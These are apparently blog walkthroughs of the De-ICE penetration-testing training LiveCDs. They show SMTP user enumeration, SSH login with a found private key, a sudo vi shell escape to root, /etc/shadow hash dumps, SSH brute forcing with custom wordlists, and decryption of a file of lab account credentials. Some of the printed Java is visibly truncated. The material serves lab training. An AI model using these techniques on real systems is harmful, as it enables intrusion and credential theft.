Estella
Abel
Philip
Nicholas
Ralph
Newman
Wackford
Thomas
Mark
Sarah
Jacob
Ebenezer
Bob
Bill
Jack
Noah
spickwick
nwinkle
asnodgrass
ttupman
sweller
tweller
ehavisham
amagwitch
ppirrip
nnickleby
rnickleby
nnoggs
wsqueers
tpinch
mtapley
sgamp
jmarley
escrooge
bcratchit
bsikes
jdawkins
nclaypole

Metasploit has an SMTP enumeration module that we will use.

msf > use auxiliary/scanner/smtp/smtp_enum 
msf auxiliary(smtp_enum) > set USER_FILE /root/Desktop/s2100users.txt
USER_FILE => /root/Desktop/s2100users.txt
msf auxiliary(smtp_enum) > set RHOSTS 192.168.2.100
RHOSTS => 192.168.2.100
msf auxiliary(smtp_enum) > run

[*] 192.168.2.100:25      - 192.168.2.100:25 Banner: 220 slax.example.net ESMTP Sendmail 8.13.7/8.13.7; Wed, 19 Apr 2017 12:00:02 GMT
[+] 192.168.2.100:25      - 192.168.2.100:25 Users found: Havisham, Magwitch, Pirrip
[*] Scanned 1 of 1 hosts (100% complete)

We now have three verified usernames to start an attack (Havisham, Magwitch, Pirrip). The .101 address had a ~root directory that was readable so lets check for those user directories. Good news, there aren’t any files in these either but all three exist. What files do we expect to see in a users home folder? I made a dump of my home folder to answer this question and some of the items that are obviously penetration testing tools. Linux hides folders that start with a . so lets dump this into a wordlist and get started.

root@kali:~# ls -a
.              core       .ICEauthority  .nano              Templates
..             Desktop    .install4j     .oracle_jre_usage  Videos
.bash_history  Documents  .java          Pictures           .w3af
.bashrc        Downloads  .john          .profile           .wget-hsts
.bundle        .faraday   .local         Public
.BurpSuite     .gconf     .mozilla       .rnd
.cache         .gnupg     .msf4          .sqlmap
.config        .halberd   Music          .ssh
Module options (auxiliary/scanner/http/dir_scanner):

   Name        Current Setting                Required  Description
   ----        ---------------                --------  -----------
   DICTIONARY  /root/Desktop/webwordlist.txt  no        Path of word dictionary to use
   PATH        /~root                         yes       The path  to identify files
   Proxies                                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS      192.168.2.101                  yes       The target address range or CIDR identifier
   RPORT       80                             yes       The target port (TCP)
   SSL         false                          no        Negotiate SSL/TLS for outgoing connections
   THREADS     256                            yes       The number of concurrent threads
   VHOST                                      no        HTTP server virtual host

msf auxiliary(dir_scanner) > run

[*] Detecting error code
[*] Using code '404' as not found for 192.168.2.101
[*] Found http://192.168.2.101:80/~root/../ 404 (192.168.2.101)
[*] Found http://192.168.2.101:80/~root/./ 404 (192.168.2.101)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(dir_scanner) > set PATH /~magwitch
PATH => /~magwitch
msf auxiliary(dir_scanner) > run

[*] Detecting error code
[*] Using code '404' as not found for 192.168.2.101
[*] Found http://192.168.2.101:80/~magwitch/./ 404 (192.168.2.101)
[*] Found http://192.168.2.101:80/~magwitch/../ 404 (192.168.2.101)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(dir_scanner) > set PATH /~havisham
PATH => /~havisham
msf auxiliary(dir_scanner) > run

[*] Detecting error code
[*] Using code '404' as not found for 192.168.2.101
[*] Found http://192.168.2.101:80/~havisham/../ 404 (192.168.2.101)
[*] Found http://192.168.2.101:80/~havisham/./ 404 (192.168.2.101)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(dir_scanner) > set PATH /~pirrip
PATH => /~pirrip
msf auxiliary(dir_scanner) > run

[*] Detecting error code
[*] Using code '404' as not found for 192.168.2.101
[*] Found http://192.168.2.101:80/~pirrip/../ 404 (192.168.2.101)
[*] Found http://192.168.2.101:80/~pirrip/./ 200 (192.168.2.101)
[*] Found http://192.168.2.101:80/~pirrip/.ssh/ 404 (192.168.2.101)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The bold line above doesn’t show up in the other three but it has a 404 error which is odd also the /./ is a 200 code instead of a 404. Lets take a closer look.

.SSH Folder

Figure 1 – .SSH Folder

That sure looks like it exists. Lets take a quick detour into SSH to explain why this is important. SSH allows for password based authentication like we saw in the De-ICE series 1 LiveCDs it also can use Public Key encryption which relies on a generated public/private key pair. Having the id_rsa file is almost as good as having a the password in cleartext. Copy those two files to your .ssh local folder. Linux gets really upset if you don’t have 600 permissions set on id_rsa files so this saves a step of getting the error message, looking up the fix, and trying again.

root@kali:~/Desktop# ssh -i id_rsa pirrip@192.168.2.100
The authenticity of host '192.168.2.100 (192.168.2.100)' can't be established.
RSA key fingerprint is SHA256:Z26/6SkV1lodQR++6+78wD4acFpG2KigCTuwo04+Xlw.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.2.100' (RSA) to the list of known hosts.
Linux 2.6.16.
pirrip@slax:~$ id
uid=1000(pirrip) gid=10(wheel) groups=10(wheel)
pirrip@slax:~$ su -
Password: ****
Sorry.

We don’t know the password so even being a member of the wheel group doesn’t help much. There isn’t much to work with in the file system either. In a normal penetration test you could use this system to pivot into others or upload a netcat or meterpreter shell. In this case since this is the only system in scope let look at other potential data sources. We know this is a mail server so:

pirrip@slax:~$ mail
mailx version nail 11.25 7/29/05.  Type ? for help.
"/var/mail/pirrip": 7 messages 7 new
>N  1 Abel Magwitch      Sun Jan 13 23:53   20/748   Estella
 N  2 Estella Havisham   Sun Jan 13 23:53   20/780   welcome to the team
 N  3 Abel Magwitch      Sun Jan 13 23:53   20/875   havisham
 N  4 Estella Havisham   Mon Jan 14 00:05   20/861   next month
 N  5 Abel Magwitch      Mon Jan 14 00:05   20/868   vacation
 N  6 Abel Magwitch      Mon Jan 14 00:05   20/915   vacation
 N  7 noreply@fermion.he Mon Jan 14 00:05   29/983   Fermion Account Login Rem
? 
Message  1:
From magwitch@slax.example.net  Sun Jan 13 23:53:37 2008
Return-Path: <magwitch@slax.example.net>
From: Abel Magwitch <magwitch@slax.example.net>
Date: Sun, 13 Jan 2008 23:47:48 +0000
To: pirrip@slax.example.net
Subject: Estella
User-Agent: nail 11.25 7/29/05
Content-Type: text/plain; charset=us-ascii
Status: R

Will do.

? 
Message  2:
From havisham@slax.example.net  Sun Jan 13 23:53:37 2008
Return-Path: <havisham@slax.example.net>
From: Estella Havisham <havisham@slax.example.net>
Date: Sun, 13 Jan 2008 23:50:33 +0000
To: pirrip@slax.example.net
Subject: welcome to the team
User-Agent: nail 11.25 7/29/05
Content-Type: text/plain; charset=us-ascii
Status: R

Thanks!  Glad to be here.

? 
Message  3:
From magwitch@slax.example.net  Sun Jan 13 23:53:37 2008
Return-Path: <magwitch@slax.example.net>
From: Abel Magwitch <magwitch@slax.example.net>
Date: Sun, 13 Jan 2008 23:48:57 +0000
To: pirrip@slax.example.net
Subject: havisham
User-Agent: nail 11.25 7/29/05
Content-Type: text/plain; charset=us-ascii
Status: R

I set her up with an accountus servers.  I set her password to "changeme" and will swing by tomorrow and make sure she changes her pw.

? 
Message  4:
From havisham@slax.example.net  Mon Jan 14 00:05:15 2008
Return-Path: <havisham@slax.example.net>
From: Estella Havisham <havisham@slax.example.net>
Date: Mon, 14 Jan 2008 00:03:56 +0000
To: pirrip@slax.example.net
Subject: next month
User-Agent: nail 11.25 7/29/05
Content-Type: text/plain; charset=us-ascii
Status: R

Abel filled me in about next month.  I wanted to ask you if I can grab the week you get back for vacation?  Thanks.

? 
Message  5:
From magwitch@slax.example.net  Mon Jan 14 00:05:15 2008
Return-Path: <magwitch@slax.example.net>
From: Abel Magwitch <magwitch@slax.example.net>
Date: Sun, 13 Jan 2008 23:55:41 +0000
To: pirrip@slax.example.net
Subject: vacation
User-Agent: nail 11.25 7/29/05
Content-Type: text/plain; charset=us-ascii
Status: R

Hey, I'll be taking vacation the second week of next month.  Have any additional tasks that need to be taen care of in advance?

? 
Message  6:
From magwitch@slax.example.net  Mon Jan 14 00:05:15 2008
Return-Path: <magwitch@slax.example.net>
From: Abel Magwitch <magwitch@slax.example.net>
Date: Sun, 13 Jan 2008 23:58:28 +0000
To: pirrip@slax.example.net
Subject: vacation
User-Agent: nail 11.25 7/29/05
Content-Type: text/plain; charset=us-ascii
Status: R

Sure - so far, she's doing just fine.  I have assigned her a couple web issues and the ftp installation for 2.100.  She seems to be very comfortable, even with the new stuff.

? 
Message  7:
From noreply@fermion.herot.net  Mon Jan 14 00:05:15 2008
Return-Path: <noreply@fermion.herot.net>
From: noreply@fermion.herot.net
Date: Sun, 13 Jan 2008 23:54:42 +0000
To: pirrip@slax.example.net
Subject: Fermion Account Login Reminder
User-Agent: nail 11.25 7/29/05
Content-Type: text/plain; charset=us-ascii
Status: R

Fermion Account Login Reminder

Listed below are your Fermion Account login credentials.  Please let us know if you have any questions or problems.

Regards,
Fermion Support


E-Mail: pirrip@slax.example.net
Password: 0l1v3rTw1st

From the email exchange we have to potential sets of credentials havisham:changeme and pirrip:0l1v3rTw1st. Lets try to get elevated privileges with the pirrip password first, since we are already logged in.

pirrip@slax:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

 #1) Respect the privacy of others.
 #2) Think before you type.
 #3) With great power comes great responsibility.

Password:
User pirrip may run the following commands on this host:
 (root) /usr/bin/more
 (root) /usr/bin/tail
 (root) /usr/bin/vi
 (root) /usr/bin/cat ALL

vi can be used to get shell, I learned this in a long drawn out penetration test where I got a similar restricted shell through the Shellshock vulnerability. In vi the :! command instructs vi to execute a shell command, lets try it.

pirrip@slax:~$ sudo vi

:!/bin/sh
sh-3.1# cat /etc/shadow
root:$1$/Ta1Q0lT$CSY9sjWR33Re2h5ohV4MX/:13882:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
pirrip:$1$KEj04HbT$ZTn.iEtQHcLQc6MjrG/Ig/:13882:0:99999:7:::
magwitch:$1$qG7/dIbT$HtTD946DE3ITkbrCINQvJ0:13882:0:99999:7:::
havisham:$1$qbY1hmdT$sVZn89wKvmLn0wP2JnZay1:13882:0:99999:7:::

:q

Use :q to exit vi. Feed the password hashes to John or Hashcat and let it cook! Time passes, seasons change. The wedding dress becomes torn and the feast rots on the table, I had to read Charles Dickens in college.

rootP1ckw1ckP@p3rs
havishamchangeme
pirrip0l1v3rTw1st
magwitch
pirrip@slax:~$ su -
Password: **************
root@slax:~# ls -a
./   .ICEauthority  .Xresources  .fluxbox/       .fonts.conf  .joerc  .kderc   .mc/       .qt/    Desktop/
../  .Xauthority    .config/     .fonts.cache-1  .icons@      .kde/   .local/  .mplayer/  .save/  Set\ IP\ address
root@slax:~# cd .save
root@slax:~/.save# ls -a
./  ../  great_expectations.zip*

We found the file but how do we get it over to our system to check it out? There are a few possible options.

  1. Build a netcat listener and pipe the file over.
  2. Move the file to the FTP root and copy it across.
  3. Move it to the ~root directory and download it from the website.

Netcat is installed on server and this is an option but I am lazy so I ran the following commands to copy the file to the website and give read permissions to everyone:

/home/root/.save# cp great_expectations.zip /www/101/home/root/
chmod 744 great_expectations.zip
Archive on Website

Figure 2 – Archive on Website

After copying it to the local system unzip the archive and untar the file from the zip.

unzip great_expectations.zip
tar -xzf great_expectations.tar
Archive Contents

Figure 3 – Archive Contents

The greatest piece of advice that I have received on Linux is how to remember the tar switches; say the following in a thick cartoonish german accent ‘Extract Zee Files’. tar -xzf, will this sound dumb when you do it? Yes. Will you remember it without looking at help? Yes.

The Charles_Dickens_3.jpg and Great_Expectations.pdf are pretty self explanatory. Lets look at the Jan08 file cat.

root@kali:~/Desktop/s2-100/great_expectations# cat Jan08 
From sikes@slax.example.net  Sun Jan 13 23:53:37 2008
Return-Path: <sikes@slax.example.net>
Received: from slax.example.net (localhost [127.0.0.1])
    by slax.example.net (8.13.7/8.13.7) with ESMTP id m0DNlmHb009636
    for <pirrip@slax.example.net>; Sun, 13 Jan 2008 23:47:48 GMT
Received: (from sikes@slax.example.net)
    by slax.example.net (8.13.7/8.13.7/Submit) id m0DNlmDI009635
    for pirrip; Sun, 13 Jan 2008 23:47:48 GMT
From: Bill Sikes <sikes@slax.example.net>
Message-Id: <200801132347.m0DNlmDI009635@slax.example.net>
Date: Sun, 13 Jan 2008 23:47:48 +0000
To: pirrip@slax.example.net
Subject: Raises
User-Agent: nail 11.25 7/29/05
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Here's the data for raises for your team:
Philip Pirrip:  734-67-0424 5.5% $74,224
Abel Magwitch:  816-03-0028 4.0% $53,122
Estella Havisham: 762-93-1073 12% $84,325

That is the data we were looking for. But, what about that other .jpg file that won’t do a preview? It won’t open in image software, maybe they are trying to obfuscate the file type by changing the extension? Use the file command in Linux to analyze the type.

file 363px-Charles_dickensyoung.jpg 
363px-Charles_dickensyoung.jpg: POSIX tar archive (GNU)

Thats not a JPG at all! Lets rename the file and take a look inside. Maybe that Jan08 file was a decoy. Nope it as just a second copy of the original archive but now you know how to file command. This was the best of times and the worst of times. I hope that you learned at least one thing that you will be able to put into practice in the future.

De-ICE S1.130 Walkthrough

Posted by SNM on April 19, 2017
Posted in: Tutorials. Tagged: , , , . Leave a Comment

While digging though an old external drive I found the De-ICE LiveCD’s and walkthrough text files I had put together a few years ago. They are really simple; each one is a link to download the ISO, some non-spoiler information to get started, and spoilers on the off chance that you get stuck on some part of the challenge.

Personally, I learned a lot about post exploitation from some of the challenges in De-ICE. This one was short and sweet, not to many flags to deal with. All of the spoilers are in the walkthrough as not to ruin the pen testing fun. Have fun and hopefully these are helpful.

SE-ICE S1.130

Download Link: http://hackingdojo.com/downloads/iso/De-ICE_S1.130.iso

Default IP: Not so fast buddy, that is one of the flags

Flags:
1. Find default IP for system
2. Obtain access to the file system
3. Final Flag: Obtain the new user accounts bank information

Spoilers and Walkthrough

Port scan the image to get started. At this point I was having everyone do this through the metasploit console instead of stand alone.

msfconsole
workspace deice
db_nmap -sS -F -T4 --exclude 192.168.1.128 192.168.1.0/24

You will need to exclude your own IP, 192.168.1.128 is mine. If you are running any other known systems on your network add them to the exclude with a comma to separate the list.

msf > hosts

Hosts
=====

address        mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------        ---                ----  -------  ---------  -----  -------  ----  --------
192.168.1.1    00:50:56:c0:00:08        Unknown                    device         
192.168.1.2    00:50:56:e6:1d:4b        Unknown                    device         
192.168.1.20   00:0c:29:a4:37:1e        Unknown                    device         
192.168.1.123  00:0c:29:a4:37:1e  slax  Linux               2.6.X  server

.1 and .2 are the VMWare NAT. You can check those but trust me. .123 is a different De-ICE LiveCD that is included in the same database because I’m lazy. Looks like 192.168.1.20 is the one.

netdiscover is another tool that looks for ARP requests to discover live hosts. While it isn’t integrated into metasploit I’ve used it on penetration tests to locate hosts for zero knowledge internal tests.

netdiscover

 Currently scanning: 192.168.66.0/16   |   Screen View: Unique Hosts                                      

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                          
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.1.1     00:50:56:c0:00:08      1      60  Unknown vendor                                         
 192.168.1.2     00:50:56:e7:84:3f      1      60  Unknown vendor                                         
 192.168.1.20    00:0c:29:1f:c6:f0      1      60  Unknown vendor                                         
 192.168.1.254   00:50:56:f9:37:34      1      60  Unknown vendor

The -sV and -O combination is the same as -A but I’ve separated it out just to have this line of text to tell you that. When I originally did these walkthrough the notes because progressively less detailed since the small group was getting better each week. Since these are now stand alone I will add a little more detail hence the time mismatch.

msf > db_nmap -sV -O -F 192.168.1.20 
[*] Nmap: Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-06 00:08 EDT
[*] Nmap: Nmap scan report for 192.168.1.20
[*] Nmap: Host is up (0.00058s latency).
[*] Nmap: Not shown: 93 filtered ports
[*] Nmap: PORT    STATE  SERVICE VERSION
[*] Nmap: 21/tcp  open   ftp     vsftpd 2.0.4
[*] Nmap: 22/tcp  open   ssh     OpenSSH 4.3 (protocol 1.99)
[*] Nmap: 25/tcp  open   smtp    Sendmail 8.13.7/8.13.7
[*] Nmap: 80/tcp  open   http    Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
[*] Nmap: 110/tcp open   pop3    Openwall popa3d
[*] Nmap: 143/tcp open   imap    UW imapd 2004.357
[*] Nmap: 443/tcp closed https
[*] Nmap: MAC Address: 00:0C:29:1F:C6:F0 (VMware)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 2.6.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:2.6
[*] Nmap: OS details: Linux 2.6.13 - 2.6.32
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: Host: slax.example.net; OS: Unix
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 12.03 seconds

In a normal penetration test, if this was the only host in scope, I would dig through the FTP and HTTP sites for data in parallel to performing vulnerability identification. We have used the Nikto web vulnerability scanner in the past and will use it again for this test. Nikto uses a custom User Agent string Mozilla/5.00 (Nikto/@VERSION) (Evasions:@EVASIONS) (Test:@TESTID). This can be changed in the /etc/nikto.conf file or the scan can be piped through the Burp proxy and used to change the User Agent. Most network security appliances and hardened web servers will not give good results to Nikto scans since it is known bad traffic.

nikto -h 192.168.1.20

http://192.168.1.20/info.php has good info. The /info.php page is good on any test and will usually be a finding in the penetration test report.

Logging into the FTP site as anonymous throws an error so no viable path there.

Connected to 192.168.1.20.
220 (vsFTPd 2.0.4)
Name (192.168.1.20:root): anonymous
230 Login successful.
ftp> ls
215 UNIX Type: L8
500 OOPS: vsf_sysutil_recv_peek

In parallel start a password attack on SSH using rockyou and root. See the S1.100 Tutorial for info on how to set it up. While the brute force attack runs, lets look at some other low hanging fruit.

Lets start by looking at the SMTP server.

use auxiliary/scanner/smtp/smtp_enum

The SMTP server pops back some good info, lets follow that rabbit hole down. We have one possible username from the website (customerserviceadmin@nosecbank.com). Lets build out a list for potential attacks.

customerserviceadmin
customeradmin
csadmin
adm
bin
daemon
dbadmin
ftp
gdm
operator
postmaster
sysadmin
webmaster

After some time passes you should return a password. I used xHydra so show the GUI interface but any password cracking tool will work.

[DATA] attacking service ssh on port 22
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://192.168.1.20:22
[INFO] Successful, password authentication is supported by ssh://192.168.1.20:22
[22][ssh] host: 192.168.1.20   login: csadmin   password: rocker

SSH to the server using ssh csadmin@192.168.1.20 and rifle through the file system.

csadmin@192.168.1.20's password: 
Linux 2.6.16.
csadmin@slax:~$ ls
mailserv_download/
csadmin@slax:~$ cd mailserv_download/
csadmin@slax:~/mailserv_download$ ls
2010122014234.j12Gqo4H049241  2010122216451.f81Ltw4R010211.part2

Multiple file names … part2 … better figure that out next. Maybe, I can just read the text part with cat.

csadmin@slax:~/mailserv_download$ cat *      
To: csadmin@nosecbank.com
CC: 
Subject: My Son's Birthday
Date: Mon, 20 Dec 2010 14:23:46 +0500
Return-Path: <sdadmin@nosecbank.com>
Delivered-To: csadmin:nosecbank.com@nosecbank.com
Received: (qmail 20281 invoked from network); 20 Dec 2010 09:23:46 -0000
X-Received: from network (192.168.1.123) by mailserv1-3.us6.service.com; 
20 Dec 2010 09:23:46 -0000
Received: from www.nosecbank.com (unknown [198.65.139.34]) by 
srv5.us6.service.com (Postfix) with ESMTP id D98402459DD for 
<csadmin@nosecbank.com>; Mon, 20 Dec 2010 09:23:46 +0000 (GMT)
Message-Id: <2010122014234.j12Gqo4H049241@www.nosecbank.com>
Mime-Version: 1.0
Content-Type: multipart/alternative; 
boundary="---=_NextPart_000_0000_02F24S11.FEPQRE80"
X-Mailer: K-Mail; Build 1.0.5510
Thread-Index: Qw2cWVmE3odZs3TqTTqFvS1e3lexms==
Message: Hey Mark, I am curious if you would be free to come over and 
visit for my son Donovin's birthday tomorrow after work.  I would also 
appreciate if you brought Andy with you as well, because Donny 
really enjoyed playing with him last time he was over.  I know its short 
notice but he is turning 12 and it is special for both him and me. Let 
me know if this works. Thanks!  -Paul

///////////////------ ERROR: MESSAGE CORRUPTED -------///////////////
///////////////------ ERROR: MESSAGE CORRUPTED -------///////////////
///////////////------ ERROR: MESSAGE CORRUPTED -------///////////////

Lets build a second attack based on the content of that email.

Username
sdadmin


Passwords
donovin
Donovin
donovin21
Donovin21
donovin98
Donovin98
donovin1221
Donovin1221
donovin122198
Donovin122198
donovin12211998
Donovin12211998
donovin211998
Donovin211998
donovin1998
Donovin1998

Second verse same as the first. From checking the home folder you know that Fred is the databaser. As a life pro tip, don’t trust people like Fred.

dbadmin







	 






	databaser




	Databaser




	databaser1




	databaser2




	databaser3




	databaser4




	databaser5




	databaser6




	databaser7




	databaser8




	databaser9




	databaser0




	databaser!




	databaser@




	databaser#




	databaser$




	databaser%




	databaser^




	databaser&




	databaser*




	databaser(




	databaser)




	Databaser1




	Databaser2




	Databaser3




	Databaser4




	Databaser5




	Databaser6




	Databaser7




	Databaser8




	Databaser9




	Databaser0




	Databaser!




	Databaser@




	Databaser#




	Databaser$




	Databaser%




	Databaser^




	Databaser&




	Databaser*




	Databaser(




	Databaser)




	databaser10




	databaser11




	databaser12




	databaser13




	databaser14




	databaser15




	databaser16




	databaser17




	databaser18




	databaser19




	databaser20




	databaser21




	databaser22




	databaser23




	databaser24




	databaser25




	databaser26




	databaser27




	databaser28




	databaser29




	databaser30




	databaser31




	databaser32




	databaser33




	databaser34




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	databaser69




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	Databaser12




	Databaser13




	Databaser14




	Databaser15




	Databaser16




	Databaser17




	Databaser18




	Databaser19




	Databaser20




	Databaser21




	Databaser22




	Databaser23




	Databaser24




	Databaser25




	Databaser26




	Databaser27




	Databaser28




	Databaser29




	Databaser30




	Databaser31




	Databaser32




	Databaser33




	Databaser34




	Databaser35




	Databaser36




	Databaser37




	Databaser38




	Databaser39




	Databaser40




	Databaser41




	Databaser42




	Databaser43




	Databaser44




	Databaser45




	Databaser46




	Databaser47




	Databaser48




	Databaser49




	Databaser50




	Databaser51




	Databaser52




	Databaser53




	Databaser54




	Databaser55




	Databaser56




	Databaser57




	Databaser58




	Databaser59




	Databaser60




	Databaser61




	Databaser62




	Databaser63




	Databaser64




	Databaser65




	Databaser66




	Databaser67




	Databaser68




	Databaser69




	Databaser70




	Databaser71




	Databaser72




	Databaser73




	Databaser74




	Databaser75




	Databaser76




	Databaser77




	Databaser78




	Databaser79




	Databaser80




	Databaser81




	Databaser82




	Databaser83




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	Databaser87




	Databaser88




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	Databaser91




	Databaser92




	Databaser93




	Databaser94




	Databaser95




	Databaser96




	Databaser97




	Databaser98




	Databaser99

Hey look .part1 lets put all that together. I had to cook this part from another walkthrough because java programming is not my forte. The code can be found at the bottom of this post, I named the file Decoder.java but you can be as creative as you want.

javac Decoder.java

java Decoder sysadmin

java Decoder root

Once you find this file (useracc_update.csv.enc) try the openssl decryption similar to earlier de-ice challenges. Hint look in the sysadmin profile.

root@slax:/home/ftp/incoming# openssl enc -aes-128-cbc -d -in useracc_update.csv.enc -out useracc_update.csv
enter aes-128-cbc decryption password:
bad decrypt
25228:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:461:
root@slax:/home/ftp/incoming# openssl enc -aes-256-cbc -d -in useracc_update.csv.enc -out useracc_update.csv
enter aes-256-cbc decryption password:
bad decrypt
25311:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:461:
root@slax:/home/ftp/incoming# openssl enc -aes-256-cbc -d -in useracc_update.csv.enc -out useracc_update.csv -k 31/Fwxw+2
root@slax:/home/ftp/incoming# cat user
useracc_update.csv      useracc_update.csv.enc  
root@slax:/home/ftp/incoming# cat useracc_update.csv
ID,Last,First,Email,State,Username,Password,Verifacation Code,Pin code
1000,Carr,Alfred,acarr23@gmail.com,NY,acarr9096,phantom4,952733,490
1001,Karson,William,wkarson53@yahoo.com,NY,wkarson2431,rockallday123,567094,345
1002,Wheeler,Cordy,megawheels98@rocketmail.com,NY,cwheeler5031,goeagles90,462724,631
1003,Smith,Ken,synthesizer_1r@gmail.com,NY,ksmith6253,crystalization,636721,353
1004,Quinn,Cynthia,qcq92@aol.com,NY,cquinn1217,archyandhenry,680247,223
1005,Floyd,Wilson,jukeboxer_4life@gmail.com,NY,wfloyd5931,knockout66,521456,441
1006,Blake,Markus,sil3nt_gunn3r@yahoo.com,NY,mblake6947,268768924,129632,557
1007,Nash,Jillian,wiselife141@aol.com,NY,jnash0934,checkitout1,324672,315
1008,Atkins,Alison,double_a44@hotmail.com,NY,aatkins9087,gogogo123123,457094,124
1009,Oliver,Frank,fog_of_war0001@gmail.com,NY,foliver9385,falconpunch,783143,134
1010,Jones,Edith,msjones677@hotmail.com,NY,ejones7532,chris12345,632620,579
1011,Moore,Cody,aiprojectx@gmail.com,NY,dot_Cipher,crypTrace,101010,1337

That is the last flag, this challenge was personally tough because of all the Java code and encryption involved which aren’t in my normal day to day penetration tests.

 import java.io.*;
public class deice
{
    public static void main(String[] args)
    {
        try
        {
            System.out.println("[*] Password Generator");
            BufferedReader in=new BufferedReader(new InputStreamReader(System.in));
            System.out.print("[?] Username: ");
            String input=in.readLine();
            int[] output=processLoop(input);
            String outputASCII="";
            for(int i=0; i                outputASCII+=(char) output[i];
            System.out.println("[+] Password: " + outputASCII);
        }
        catch(IOException e)
        {
            System.out.println("[-] IO Error Occurred!");
        }
    }
/*input is username of account*/
    public static int[] processLoop(String input)
    {
        int strL = input.length();
        int lChar=(int)input.charAt(strL-1);
        int fChar=(int)input.charAt(0);        
        int[] encArr = new int[strL+2];        
        encArr[0]=(int)lChar;    
        for(int i=1;i            encArr[i]=(int)input.charAt(i-1);
        //encArr[0]=(int)lChar;
        encArr[encArr.length-1] = (int)fChar;
        encArr = backLoop(encArr);
        encArr = loopBack(encArr);
        encArr = loopProcess(encArr);
        int j = encArr.length-1;
        for(int i=0; i            if(i == j)
                break;
            int t=encArr[i];
            encArr[i]=encArr[j];
            encArr[j]=t;
            j--;
        }
    return encArr;
    }
/*Note the pseudocode will be implemented with the     
root account and my account, we still need to implement it with the csadmin, sdadmin,    
and dbadmin accounts though*/    
    public static int[] backLoop(int[] input){
        int ref = input.length;
        int a = input[1];
        int b = input[ref-1];
        int ch = (a+b)/2;        
        for(int i=0;i            if(i%2 == 0)
                input[i] = (input[i]%ch)+(ref+i);
            else
                input[i] = (input[i]+ref+i);
        }
    return input;
    }
    public static int[] loopProcess(int[] input){    
        for(int i=0; i i < input.length; i++ ) {
             if(input[i] == 40 || input[i] == 41)
                input[i] += input.length;
            else if(input[i] == 45)
                input[i] += 20+i;
        }
    return input;
    }
    public static int[] loopBack(int[] input){
        int ref = input.length/2;
        int[] encNew = new int[input.length+ref];
        int ch = 0;
        for(int i=(ref/2); i i < input.length; i++ ) {
             encNew[i] = input[ch];
            ch++;
        }
        for(int i=0; i            if(encNew[i] <= 33)
                encNew[i] = 33+(++ref*2);
            else if(encNew[i] >= 126)
                encNew[i]=126-(--ref*2);
            else{
                if(i%2 == 0)
                    encNew[i] -= (i%3);
                else
                    encNew[i] += (i%2);
            }
        }
    return encNew;
    }
}

De-ICE S1.123 Walkthrough

Posted by SNM on April 18, 2017
Posted in: Tutorials. Tagged: , , , . Leave a Comment

I did not find this one from an old hard drive, the only thing I had was the link to the ISO and two empty text files. So this is basically a clean up to date walkthrough using Kali. This one was short and sweet, not to many flags to deal with. All of the spoilers are in the walkthrough as not to ruin the pen testing fun. Have fun and hopefully these are helpful.

SE-ICE S1.123

Download Link: http://hackingdojo.com/downloads/iso/De-ICE_S1.123.iso

Default IP: Hey, Look at flag one slacker

Flags:
1. Find default IP for system
2. Enumerate ports and services
3. Identify web and network vulnerabilities for system
4. Gain root access to system

Spoilers and Walkthrough

We have used a few different tools to find hosts on a subnet and we will add another one for this test. ARP (address resolution protocol) maps physical MAC addresses to the corresponding IP address for a network, because it isn’t routed it is useful for finding systems . There are multiple tools that use ARP for this discovery but I have chosen arp-scan because it is already installed in Kali and I knew the switch to use.

root@kali:~# arp-scan --localnet
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.1.1    00:50:56:c0:00:08    VMware, Inc.
192.168.1.2    00:50:56:e7:84:3f    VMware, Inc.
192.168.1.123    00:0c:29:1f:c6:f0    VMware, Inc.
192.168.1.254    00:50:56:e7:f4:91    VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.420 seconds (105.79 hosts/sec). 4 responded

Now that we know it is the .123 address lets port scan the image to get started. Once again, we will use the metasploit console to keep all of our into in one place.

msfconsole
workspace -a de-ice123
workspace de-ice123
db_nmap -T5 -A -p 0-65535 192.168.1.123

That is a lot to work with so lets narrow it down a bit and get started with some information gathering. Finger will expose user names and there is a simple scanner for it already built into metasploit.

use auxiliary/scanner/finger/finger_users
[*] 192.168.1.123:79      - 192.168.1.123:79 No users found.

That didn’t go as well as I had hoped. Lets look at a list of other open ports.

services
192.168.1.123  901    tcp    http         open   Samba SWAT administration server

